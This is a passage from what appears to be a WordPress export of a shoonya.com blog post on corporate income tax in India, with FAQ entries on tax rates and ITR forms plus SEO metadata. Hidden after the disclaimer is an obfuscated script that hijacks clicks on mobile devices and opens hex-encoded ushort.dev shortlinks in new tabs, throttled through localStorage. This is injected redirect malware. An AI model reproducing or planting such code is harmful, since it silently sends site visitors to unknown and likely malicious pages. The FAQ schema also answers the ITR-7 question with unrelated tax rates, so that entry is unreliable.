class=\"schema-faq-answer\">The tax slab for a company is structured based on its turnover and the tax scheme it chooses. Companies with a turnover of up to \u20b9400 crore in the previous financial year are subject to a 25% tax rate, while companies with a higher turnover pay 30% tax.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693960323\"><strong class=\"schema-faq-question\"><strong>Who is eligible for ITR-4?<\/strong><\/strong> <p class=\"schema-faq-answer\">ITR-4 is applicable to individuals, Hindu Undivided Families (HUFs), and partnership firms (excluding LLPs) that have business or professional income and opt for the presumptive taxation scheme under Sections 44AD, 44ADA, or 44AE.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source- <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Incometax.gov.in<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: This content is for education and awareness purposes only and should not be considered investment advice or a recommendation. Investments in securities markets are subject to market risks. Read all the related documents carefully before investing.<br><br><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Income tax filing is mandatory for domestic companies in India. Depending on turnover, tax regime, deductions claimed, and the nature of business, a domestic company may be taxed at different specified rates and may also be subject to surcharge, cess, and additional compliance requirements. This guide explains the applicable tax rates, deductions, return forms, and &hellip; <a href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Income Tax for Domestic Company: Tax Slabs, Forms &amp; Deductions &#8211; FY 2025-26&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":16947,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[764],"tags":[7020,7015,7016,7014,7017,7018,9615,9616,7021,7022,7023,7024,7025,5520,7026,7013,7019],"class_list":["post-11828","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tax","tag-benefits-of-filing-itr-for-domestic-company","tag-company-income-tax","tag-company-tax-in-india","tag-company-tax-slab","tag-corporate-tax","tag-corporate-tax-in-india","tag-corporate-tax-rate","tag-corporate-tax-rate-in-india","tag-deduction-for-domestic-company","tag-domestic-company-income-tax","tag-domestic-company-tax-filing","tag-domestic-company-tax-slabs","tag-how-to-file-itr-for-domestic-company","tag-income-tax-calculator","tag-income-tax-deductions-for-domestic-company","tag-income-tax-for-domestic-company","tag-itr-form-for-domestic-company"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Income Tax for Domestic Company (2026): Slabs &amp; ITR Filing<\/title>\n<meta name=\"description\" content=\"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Income Tax for Domestic Company (2026): Slabs &amp; ITR Filing\" \/>\n<meta property=\"og:description\" content=\"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-02T12:36:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Income Tax for Domestic Company (2026): Slabs &amp; ITR Filing\" \/>\n<meta name=\"twitter:description\" content=\"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/Income-Tax-for-Domestic-Company-2.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Income Tax for Domestic Company: Tax Slabs, Forms &amp; Deductions &#8211; FY 2025-26\",\"datePublished\":\"2026-04-02T12:36:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/\"},\"wordCount\":2329,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Income-Tax-for-Domestic-Company-2.jpg\",\"keywords\":[\"benefits of filing itr for domestic company\",\"company income tax\",\"company tax in india\",\"company tax slab\",\"corporate tax\",\"corporate tax in india\",\"corporate tax rate\",\"corporate tax rate in india\",\"deduction for domestic company\",\"domestic company income tax\",\"domestic company tax filing\",\"domestic company tax slabs\",\"how to file itr for domestic company\",\"income tax calculator\",\"income tax deductions for domestic company\",\"income tax for domestic company\",\"itr form for domestic company\"],\"articleSection\":[\"Tax\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/\",\"name\":\"Income Tax for Domestic Company (2026): Slabs & ITR Filing\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Income-Tax-for-Domestic-Company-2.jpg\",\"datePublished\":\"2026-04-02T12:36:48+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Income tax for domestic companies in India includes corporate tax rates, surcharge, deductions, return forms, and compliance rules for Tax Year 2026-27.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693716215\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693717771\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693718570\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693719275\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693720522\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693721522\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693872395\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693873051\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693873898\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693960323\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Income-Tax-for-Domestic-Company-2.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Income-Tax-for-Domestic-Company-2.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Income Tax for Domestic Company\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Personal Finance\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/personal-finance\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Tax\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/personal-finance\\\/tax\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Income Tax for Domestic Company: Tax Slabs, Forms &amp; Deductions &#8211; FY 2025-26\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693716215\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693716215\",\"name\":\"What is Corporate Tax in India?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Corporate tax in India is the tax levied on the net income or profits of a company. Domestic companies and foreign companies operating in India are required to pay corporate tax based on their earnings and applicable tax slabs.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693717771\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693717771\",\"name\":\"How is Corporate Tax Calculated in India?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The corporate tax in India is calculated based on a company\u2019s taxable income after deductions, exemptions, and applicable tax rates.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693718570\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693718570\",\"name\":\"What is an Income Tax Calculator for Companies?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"An income tax calculator helps businesses estimate their tax liability by considering taxable income, deductions, and applicable corporate tax rates in India.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693719275\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693719275\",\"name\":\"Which ITR is applicable for a company?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"A company is required to file ITR-6, except for companies that claim exemption under Section 11 for income from property held for charitable or religious purposes.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693720522\",\"position\":5,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693720522\",\"name\":\"What is the income tax rate for a domestic company?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The income tax rate for a domestic company ranges from 15% to 30%, depending on the company's turnover and the tax regime it has opted for.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693721522\",\"position\":6,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693721522\",\"name\":\"Who needs to file ITR-7?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The applicable rate may be <strong>15%, 22%, 25%, or 30%<\\\/strong>, depending on turnover and whether the company has opted for sections 115BA, 115BAA, or 115BAB.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693872395\",\"position\":7,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693872395\",\"name\":\"What is the ITR for business income?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The type of Income Tax Return (ITR) form for business income depends on the nature and size of the business. ITR-3 is applicable for individuals and Hindu Undivided Families (HUFs) having business or professional income. ITR-4 is for small businesses opting for the presumptive taxation scheme. ITR-6 is for companies, except those exempt under Section 11.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693873051\",\"position\":8,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693873051\",\"name\":\"What is a domestic company as per the Income Tax Act?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"As per Section 2(22A) of the Income Tax Act, a domestic company refers to an Indian company or any other company that pays dividends in India from its taxable income and has made the necessary arrangements for such payments.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693873898\",\"position\":9,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693873898\",\"name\":\"\u00a0What is the tax slab for a company?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The tax slab for a company is structured based on its turnover and the tax scheme it chooses. Companies with a turnover of up to \u20b9400 crore in the previous financial year are subject to a 25% tax rate, while companies with a higher turnover pay 30% tax.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693960323\",\"position\":10,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/income-tax-for-domestic-company\\\/#faq-question-1741693960323\",\"name\":\"Who is eligible for ITR-4?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"ITR-4 is applicable to 